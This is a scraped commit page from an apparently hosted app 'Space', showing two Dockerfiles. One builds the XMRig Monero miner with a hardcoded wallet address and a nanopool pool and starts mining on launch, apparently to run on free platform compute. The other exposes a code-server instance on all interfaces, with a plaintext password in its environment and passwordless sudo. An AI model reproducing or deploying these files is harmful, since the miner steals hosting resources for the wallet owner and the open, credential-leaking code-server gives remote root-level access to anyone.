Spaces:
Paused
Paused
Update Dockerfile
Browse files1234567891011121314151617181920212223242526272829303132333435363738# Use the latest Debian image as the baseFROM debian:latest# Set working directoryWORKDIR /xmrig# Install dependenciesRUN apt-get update && \apt-get install -y \git \build-essential \cmake \libuv1-dev \libssl-dev \libhwloc-dev# Clone the XMRig repositoryRUN git clone https://github.com/xmrig/xmrig.git# Change directory to the cloned repositoryWORKDIR /xmrig/xmrig# Build XMRigRUN mkdir build && cd build && \cmake .. && \make -j$(nproc)# Expose the ports for the mining poolEXPOSE 10300EXPOSE 10343# Set the default environment variablesENV WALLET_ADDRESS=46hkUW5558rbUX2wtg5cE2UwErru229jWLLcc6197HsYckLqNoRdJFKADW84YLaKjCR8xG8TJy93rT6wcn82aXREUTAhVJ9ENV POOL_URL=xmr-asia1.nanopool.orgENV STRATUM_PORT=10300# Command to run XMRig with the provided wallet address and pool detailsCMD ["./xmrig", "-o", "ssl://xmr-asia1.nanopool.org:10343", "-u", "${WALLET_ADDRESS}", "-p", "x", "-k", "--tls"]1234567891011121314151617181920212223242526# Use the official code-server image as the baseFROM codercom/code-server:latest# Set environment variablesENV PASSWORD=yugam786@ENV CODE_SERVER_PORT=8080ENV USERNAME=coderENV USER_UID=1000ENV USER_GID=1000# Install sudo and other necessary packagesUSER rootRUN apt-get update && apt-get install -y sudo# Create a user with sudo privilegesRUN adduser --disabled-password --gecos "" --uid $USER_UID --gid $USER_GID $USERNAME \&& echo "$USERNAME ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers.d/nopasswd# Switch back to the non-root userUSER $USERNAME# Expose the port where code-server will runEXPOSE ${CODE_SERVER_PORT}# Start code-server with the desired settingsCMD ["code-server", "--bind-addr", "0.0.0.0:8080", "--auth", "password"]
Dockerfile+20-32